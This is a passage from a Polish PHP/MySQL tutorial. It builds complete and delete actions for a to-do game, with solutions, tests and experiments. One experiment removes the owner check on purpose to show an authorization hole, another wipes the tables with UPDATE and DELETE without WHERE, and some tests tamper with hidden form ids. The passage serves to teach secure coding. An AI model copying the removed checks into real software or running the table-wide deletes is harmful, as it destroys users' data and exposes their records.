<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">type="hidden"</code> to pole, którego nie widać na stronie, a które formularz wysyła jak każde inne. Przenosi <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, czyli informację, <strong>którego</strong> zadania dotyczy kliknięcie.</li>



<li>Dlaczego formularz, a nie link <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php?id=3</code>? Link to GET, a GET nie zmienia danych (Lekcja 13). Przeglądarki i różne narzędzia potrafią same „odwiedzać” linki, np. przy wstępnym ładowaniu stron. Każde takie odwiedzenie wykonałoby zadanie.</li>
</ul>



<p class="wp-block-paragraph"><strong>Sprawdzenie.</strong> Odśwież stronę i otwórz źródło (Ctrl+U):</p>



<ul class="wp-block-list">
<li>każde niewykonane zadanie ma swój formularz z <strong>innym</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code>, równym jego <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> z phpMyAdmin,</li>



<li>wykonane zadania nie mają formularza,</li>



<li>komunikaty terminu („Zostało N dni” itd.) nadal są widoczne.</li>
</ul>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Tekst z cudzysłowami podwójnymi w środku najwygodniej pisać w apostrofach: <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo '&lt;form class="akcja" ...&gt;';</code>. Doklejanie liczby: <code class="prettyprint lang-sql" style="font-size: 0.85em;">'... value="' . wartosc . '"&gt;'</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">            if (!$zadanie-&gt;czyWykonane()) {
                echo '&lt;form class="akcja" method="post" action="oznacz-wykonane.php"&gt;';
                echo '&lt;input type="hidden" name="id" value="' . $zadanie-&gt;pobierzId() . '"&gt;';
                echo '&lt;button type="submit"&gt;Zrobione!&lt;/button&gt;';
                echo '&lt;/form&gt;';
            }

            echo "&lt;/div&gt;";</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzId()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>, więc w atrybucie <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> jest bezpieczny.</p>
</details>



<h3 class="wp-block-heading">7c. Styl</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code>, w <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;style&gt;</code> pod regułą <code class="prettyprint lang-sql" style="font-size: 0.85em;">.zadanie.po-terminie</code>, dopisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">form.akcja { display: inline; }</code></pre>



<p class="wp-block-paragraph">Formularze są domyślnie blokami (każdy od nowej linii). Przycisk przy zadaniu ma stać w linii. Klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">akcja</code> nie zmienia wyglądu formularzy „Dodaj zadanie” i „Logowanie”.</p>



<h3 class="wp-block-heading">7d. Sprawdzenie</h3>



<p class="wp-block-paragraph">Zaloguj się jako Ola (250 XP, streak 0). Kliknij „Zrobione!” przy „Zaprojektować bazę TaskQuest”. Oczekiwane: komunikat „Zadanie wykonane! +30 XP”, 280 XP, poziom 3, streak 1, zadanie oznaczone <code class="prettyprint lang-sql" style="font-size: 0.85em;">[X]</code> i bez przycisku. W phpMyAdmin: <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code> Oli to dzisiejsza data.</p>



<h2 class="wp-block-heading">Krok 8 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> i stopka</h2>



<ol class="wp-block-list">
<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>, w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code>: usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">'includes/funkcje_plikow.php'</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'data/zadania.csv'</code>, dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">'oznacz-wykonane.php'</code> (razem <strong>18</strong> ścieżek; w sekcji 6 dojdzie jeszcze jedna).</li>



<li>Usuń linię <code class="prettyprint lang-sql" style="font-size: 0.85em;">$plikiCsv = listaPlikowWKatalogu('data', 'csv');</code> i całą sekcję <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Pliki danych&lt;/h2&gt;</code> z jej zawartością. Katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/</code> już nie ma. Funkcja nie zgłosiłaby błędu (dla nieistniejącego katalogu zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">[]</code>), ale sekcja o nieistniejących danych tylko by myliła.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 1.9</code>.</li>
</ol>



<p class="wp-block-paragraph">Diagnostyka nadal <strong>nie łączy się z bazą</strong> i nie dołącza <code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code> (zasada z Lekcji 10).</p>



<h1 class="wp-block-heading">6. Kolejne zadanie — usuwanie zadania</h1>



<p class="wp-block-paragraph">Kama dodała zadanie z literówką w terminie i chce się go pozbyć. Do tej pory mogła tylko poprosić kogoś z dostępem do phpMyAdmin.</p>



<p class="wp-block-paragraph">Przy <strong>każdym</strong> zadaniu na liście (także wykonanym) ma się pojawić przycisk „Usuń”.</p>



<p class="wp-block-paragraph">Wymagania:</p>



<ol class="wp-block-list">
<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_bazy.php</code> (pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszPostepUzytkownika()</code>) funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">usunZadanie(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): bool</code>. Usuwa zadanie tylko wtedy, gdy należy do użytkownika. Zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>, gdy wiersz został usunięty.</li>



<li>Nowa strona <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code>, zbudowana jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>: tylko dla zalogowanych, tylko POST, <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> sprawdzone regexem, na końcu przekierowanie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</li>



<li>Komunikaty: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie zostało usunięte.</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nie znaleziono takiego zadania.</code>. Awaria bazy — ramka <code class="prettyprint lang-sql" style="font-size: 0.85em;">.blad</code> „Nie udało się usunąć zadania: &#8230;” z linkiem powrotu.</li>



<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, w pętli listy, przycisk „Usuń” w formularzu z klasą <code class="prettyprint lang-sql" style="font-size: 0.85em;">akcja</code>, zbudowany tak jak „Zrobione!” w 7b. Wstaw go pod zamykającą klamrą warunku z formularzem „Zrobione!”, a nad <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "&lt;/div&gt;";</code> — <strong>poza</strong> warunkiem, żeby był widoczny przy każdym zadaniu.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> (razem <strong>19</strong>).</li>
</ol>



<p class="wp-block-paragraph">Nie dodajemy okna „Czy na pewno?”. To zadanie końcowe D.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code> jest <strong>krótszy</strong> niż <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>. Zastanów się, czy przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> potrzebujesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code>. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> był potrzebny z dwóch powodów (pierwszy punkt „Dlaczego tak” w kroku 6d). Czy któryś z nich dotyczy usuwania? Których plików strona nie musi dołączać, skoro nie tworzy obiektów?</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE FROM zadania WHERE id = ? AND uzytkownik_id = ?</code></pre>



<p class="wp-block-paragraph">Wynik funkcji — tak samo jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczZadanieJakoWykonane()</code>. Na stronie wystarczy <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code> na wyniku funkcji.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function usunZadanie(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): bool
{
    $zapytanie = $polaczenie-&gt;prepare('DELETE FROM zadania WHERE id = ? AND uzytkownik_id = ?');
    $zapytanie-&gt;bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;affected_rows === 1;
}</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

wymagajLogowania();

if ($_SERVER&#91;'REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}

$zadanieIdTekst = $_POST&#91;'id'] ?? '';

if (!preg_match('/^\d+$/', $zadanieIdTekst)) {
    header('Location: index.php');
    exit;
}

$zadanieId = (int) $zadanieIdTekst;

try {
    $polaczenie = polaczZBaza();

    if (usunZadanie($polaczenie, $zadanieId, $_SESSION&#91;'uzytkownik_id'])) {
        ustawKomunikat('Zadanie zostało usunięte.');
    } else {
        ustawKomunikat('Nie znaleziono takiego zadania.');
    }
} catch (Exception $wyjatek) {
    $nazwaStrony = 'TaskQuest';
    require_once __DIR__ . '/includes/header.php';
    echo '&lt;p class="blad"&gt;Nie udało się usunąć zadania: ' . $wyjatek-&gt;getMessage() . '&lt;/p&gt;';
    echo '&lt;p&gt;&lt;a href="index.php"&gt;← Wróć do listy zadań&lt;/a&gt;&lt;/p&gt;';
    require_once __DIR__ . '/includes/footer.php';
    exit;
}

header('Location: index.php');
exit;</code></pre>



<p class="wp-block-paragraph">Bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code>: usuwanie nie potrzebuje XP zadania, a „nie ma” i „cudze” dają ten sam komunikat. <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> mówi wszystko. Bez klas: strona nie tworzy obiektów.</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — koniec pętli listy:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">            if (!$zadanie-&gt;czyWykonane()) {
                echo '&lt;form class="akcja" method="post" action="oznacz-wykonane.php"&gt;';
                echo '&lt;input type="hidden" name="id" value="' . $zadanie-&gt;pobierzId() . '"&gt;';
                echo '&lt;button type="submit"&gt;Zrobione!&lt;/button&gt;';
                echo '&lt;/form&gt;';
            }

            echo '&lt;form class="akcja" method="post" action="usun-zadanie.php"&gt;';
            echo '&lt;input type="hidden" name="id" value="' . $zadanie-&gt;pobierzId() . '"&gt;';
            echo '&lt;button type="submit"&gt;Usuń&lt;/button&gt;';
            echo '&lt;/form&gt;';

            echo "&lt;/div&gt;";</code></pre>
</details>



<p class="wp-block-paragraph">Pytanie do przemyślenia: Kama wykonała zadanie za 20 XP, a potem je usunęła. Ile XP ma teraz? Czy tak powinno być? (Pytanie kontrolne 9.)</p>



<h1 class="wp-block-heading">7. Testy</h1>



<p class="wp-block-paragraph"><strong>Gdzie:</strong> przeglądarka i phpMyAdmin. Przed każdym testem zapisz przewidywany wynik. Po testach, które zmieniają dane, uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p>



<h2 class="wp-block-heading">Test 1 — dodawanie zadania</h2>



<p class="wp-block-paragraph">Zaloguj się jako Kama. W phpMyAdmin sprawdź liczbę zadań Kamy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT COUNT(*) FROM zadania WHERE uzytkownik_id = 1;</code>. Dodaj przez formularz zadanie: tytuł <code class="prettyprint lang-sql" style="font-size: 0.85em;"> Powtórzyć   INSERT </code>, opis pusty, termin za tydzień, 10 XP.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co sprawdzasz</th><th>Oczekiwane</th></tr></thead><tbody><tr><td>strona po wysłaniu</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, komunikat „Zadanie zostało dodane.”, zadanie na liście (tytuł wyświetlony bez nadmiarowych spacji), przycisk „Zrobione!”</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">COUNT(*)</code></td><td>o 1 więcej</td></tr><tr><td>nowy wiersz w phpMyAdmin</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> = 1, <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> = 10, tytuł bez nadmiarowych spacji (czyści go <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyczyscTytul()</code> przy odczycie z formularza)</td></tr><tr><td>odświeżenie (F5) po dodaniu</td><td>brak drugiego wiersza, komunikat znika (POST → przekierowanie → GET)</td></tr><tr><td>Ola po zalogowaniu</td><td>nie widzi tego zadania</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Test 2 — walidacja nadal działa (regresja)</h2>



<p class="wp-block-paragraph">Wyślij formularz z: pustym tytułem; XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>; XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">101</code>; terminem <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-02-31</code>. Oczekiwane: ramka „Popraw formularz:” z właściwym komunikatem, pola wypełnione (formularz zachowuje wpisane dane), a <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">COUNT(*)</code> bez zmian</strong> — do bazy nie trafił żaden wiersz.</p>



<h2 class="wp-block-heading">Test 3 — „Zrobione!”, XP i streak</h2>



<p class="wp-block-paragraph">Zaloguj się jako Kama. Przygotuj dane w phpMyAdmin (przed każdym wierszem tabeli):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania SET data_wykonania = NULL WHERE uzytkownik_id = 1;
UPDATE uzytkownicy SET xp = 99, streak = 5, data_ostatniej_aktywnosci = CURDATE() - INTERVAL 1 DAY WHERE id = 1;</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">CURDATE() - INTERVAL 1 DAY</code> to „dzisiaj minus jeden dzień”, czyli wczoraj. W kolejnych wierszach zmieniaj tylko datę. Kliknij „Zrobione!” przy dowolnym zadaniu za N XP.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th><code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code> przed</th><th>XP po</th><th>streak po</th><th>data aktywności po</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">CURDATE() - INTERVAL 1 DAY</code></td><td>99 + N</td><td>6</td><td>dziś</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">CURDATE()</code></td><td>99 + N</td><td>5</td><td>dziś</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">CURDATE() - INTERVAL 3 DAY</code></td><td>99 + N</td><td>1</td><td>dziś</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code></td><td>99 + N</td><td>1</td><td>dziś</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Kliknij „Zrobione!” przy <strong>drugim</strong> zadaniu (bez przygotowania danych). Streak się nie zmienia (dziś już była aktywność), XP rośnie o nagrodę drugiego zadania.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Jeśli wyniki w pierwszym wierszu się nie zgadzają tuż przed północą albo tuż po niej, sprawdź, czy PHP i MySQL mają tę samą strefę czasową. <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> liczy „dziś” według PHP, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">CURDATE()</code> według MySQL.</p>
</blockquote>



<h2 class="wp-block-heading">Test 4 — XP tylko raz</h2>



<ol class="wp-block-list">
<li>Zaloguj się jako Ola. Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> w <strong>dwóch kartach</strong>.</li>



<li>W pierwszej kliknij „Zrobione!” przy jej zadaniu — +30 XP, 280.</li>



<li>W drugiej karcie (przycisk nadal widoczny, bo karta nie była odświeżana) kliknij „Zrobione!” przy tym samym zadaniu.</li>
</ol>



<p class="wp-block-paragraph">Oczekiwane: komunikat „To zadanie jest już wykonane.”, <strong>nadal 280 XP</strong>. Zadanie w bazie ma jedną datę wykonania.</p>



<h2 class="wp-block-heading">Test 5 — cudze zadanie</h2>



<ol class="wp-block-list">
<li>Odczytaj w phpMyAdmin <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> dowolnego zadania Kamy.</li>



<li>Zaloguj się jako Ola. Na stronie otwórz narzędzia przeglądarki (F12) → zakładka z kodem strony (Elementy / Inspektor). Znajdź <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="hidden" name="id" ...&gt;</code> przy zadaniu Oli i zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> zadania Kamy.</li>



<li>Kliknij „Zrobione!”.</li>
</ol>



<p class="wp-block-paragraph">Oczekiwane: „Nie znaleziono takiego zadania.”, XP Oli bez zmian, zadanie Kamy w bazie nadal z <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>. Powtórz to samo z przyciskiem „Usuń” — zadanie Kamy nadal istnieje.</p>



<h2 class="wp-block-heading">Test 6 — nietypowe żądania</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co robisz</th><th>Oczekiwane</th></tr></thead><tbody><tr><td>wpisujesz w pasek adresu <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> (GET)</td><td>powrót na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, nic się nie zmienia</td></tr><tr><td>wpisujesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code> (GET)</td><td>j.w.</td></tr><tr><td>w F12 zmieniasz <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> pola <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">abc</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">-1</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">2.5</code> albo pusty tekst i klikasz</td><td>powrót na listę bez komunikatu, nic się nie zmienia</td></tr><tr><td>wylogowujesz się, potem wpisujesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code></td><td>przekierowanie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania()</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nieistniejącego zadania (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">9999</code>)</td><td>„Nie znaleziono takiego zadania.”</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Test 7 — usuwanie</h2>



<p class="wp-block-paragraph">Zaloguj się jako Kama. Kliknij „Usuń” przy zadaniu <strong>niewykonanym</strong>. Oczekiwane: „Zadanie zostało usunięte.”, zadanie zniknęło z listy i z bazy, liczniki zmniejszyły się o 1. Wykonaj inne zadanie i usuń je. XP <strong>nie</strong> maleje.</p>



<h2 class="wp-block-heading">Test 8 — baza nie działa</h2>



<ol class="wp-block-list">
<li>Zaloguj się, otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> i wypełnij formularz. Zatrzymaj w XAMPP <strong>MySQL</strong> i wyślij. Oczekiwane: formularz z ramką „Nie udało się dodać zadania: Nie udało się połączyć z bazą danych.”, wpisane dane zostają w polach.</li>



<li>Uruchom MySQL, wejdź na listę, zatrzymaj MySQL i kliknij „Zrobione!”. Oczekiwane: strona z ramką „Nie udało się zapisać zmiany: Nie udało się połączyć z bazą danych.” i linkiem powrotu.</li>



<li>To samo z „Usuń”: „Nie udało się usunąć zadania: &#8230;”. Uruchom MySQL.</li>
</ol>



<h2 class="wp-block-heading">Test 9 — ranking się zmienia</h2>



<p class="wp-block-paragraph">Po świeżym <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>: Ola 250, Kama 99. Zaloguj się jako Kama. Wykonuj zadania, aż Kama ma więcej XP niż Ola (w razie potrzeby dodaj przez formularz zadanie za 100 XP i je wykonaj). Oczekiwane: Kama na 1. miejscu rankingu — bez jednej zmiany w <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzRanking()</code>.</p>



<h2 class="wp-block-heading">Test 10 — diagnostyka</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> → <strong>19 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code></strong> (w tym <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code>, bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_plikow.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>), brak sekcji „Pliki danych”.</p>



<h1 class="wp-block-heading">8. Obowiązkowe eksperymenty</h1>



<p class="wp-block-paragraph"><strong>Gdzie:</strong> eksperyment 1 w phpMyAdmin, 4 w brudnopisie, pozostałe w projekcie. Po każdym <strong>przywróć</strong> zmieniony kod i uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p>



<h3 class="wp-block-heading">Eksperyment 1: <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code></h3>



<p class="wp-block-paragraph">W phpMyAdmin:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania SET data_wykonania = CURDATE();</code></pre>



<p class="wp-block-paragraph">Przewidź liczbę zmienionych wierszy. Zaloguj się jako Kama, potem jako Ola. <strong>Wszystkie</strong> zadania wszystkich graczy są wykonane — i nikt nie dostał za nie XP. Potem:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE FROM zadania;</code></pre>



<p class="wp-block-paragraph">Obie listy są puste. Użytkownicy zostali, bo usunęliśmy wiersze z <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>, nie z <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>. (Odwrotnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">ON DELETE CASCADE</code> z Lekcji 17 usunąłby także zadania.) Wniosek: w PHP każde <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> piszemy <strong>od razu</strong> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>, a gotowe zapytanie czytamy jeszcze raz przed uruchomieniem. Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>.</p>



<h3 class="wp-block-heading">Eksperyment 2: bez warunku stanu</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczZadanieJakoWykonane()</code> usuń z zapytania <code class="prettyprint lang-sql" style="font-size: 0.85em;">AND data_wykonania IS NULL</code>. Zaloguj się jako Ola i powtórz Test 4 (dwie karty).</p>



<p class="wp-block-paragraph">Przewidź wynik. Oczekiwane — niespodzianka: druga karta <strong>nadal</strong> pokazuje „To zadanie jest już wykonane.”. Dlaczego? Drugi <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> wpisuje tę samą datę, która już jest, więc według 3.1 nic się nie zmienia i <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> = 0. Warunek wygląda na zbędny.</p>



<p class="wp-block-paragraph">Teraz zasymuluj, że zadanie zostało wykonane <strong>wczoraj</strong>, a karta z przyciskiem była otwarta od wczoraj:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania SET data_wykonania = CURDATE() - INTERVAL 1 DAY WHERE uzytkownik_id = 2;</code></pre>



<p class="wp-block-paragraph">Kliknij „Zrobione!” w drugiej karcie (tej nieodświeżonej). Oczekiwane: „Zadanie wykonane! +30 XP” — Ola dostała XP drugi raz za to samo zadanie. Data zmieniła się z wczorajszej na dzisiejszą, więc wiersz „się zmienił”.</p>



<p class="wp-block-paragraph">Wniosek: bez warunku stanu przyznanie XP zależy od przypadku — od tego, czy nowa wartość akurat różni się od starej. Z <code class="prettyprint lang-sql" style="font-size: 0.85em;">AND data_wykonania IS NULL</code> odpowiedź jest zawsze jednoznaczna: wykonane zadanie nie pasuje do <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>. <strong>Przywróć warunek.</strong></p>



<h3 class="wp-block-heading">Eksperyment 3: bez warunku właściciela</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczZadanieJakoWykonane()</code> <strong>i</strong> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadanieUzytkownika()</code> usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">AND uzytkownik_id = ?</code>, a w <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> zostaw jeden parametr (<code class="prettyprint lang-sql" style="font-size: 0.85em;">'i', $zadanieId</code>). Powtórz Test 5.</p>



<p class="wp-block-paragraph">Oczekiwane: Ola wykonuje zadanie Kamy i <strong>Ola</strong> dostaje za nie XP. Prepared statement działa bez zarzutu — nie ma tu SQL injection. Zapytanie robi dokładnie to, o co je poproszono. Błąd polega na tym, że nie zapytaliśmy, czy wolno. <strong>Przywróć oba warunki.</strong></p>



<h3 class="wp-block-heading">Eksperyment 4: co liczy <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code></h3>



<p class="wp-block-paragraph">W brudnopisie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp = 99;
$uzytkownikId = 1;

$zapytanie = $polaczenie-&gt;prepare('UPDATE uzytkownicy SET xp = ? WHERE id = ?');
$zapytanie-&gt;bind_param('ii', $xp, $uzytkownikId);

$zapytanie-&gt;execute();
var_dump($zapytanie-&gt;affected_rows);

$zapytanie-&gt;execute();
var_dump($zapytanie-&gt;affected_rows);</code></pre>



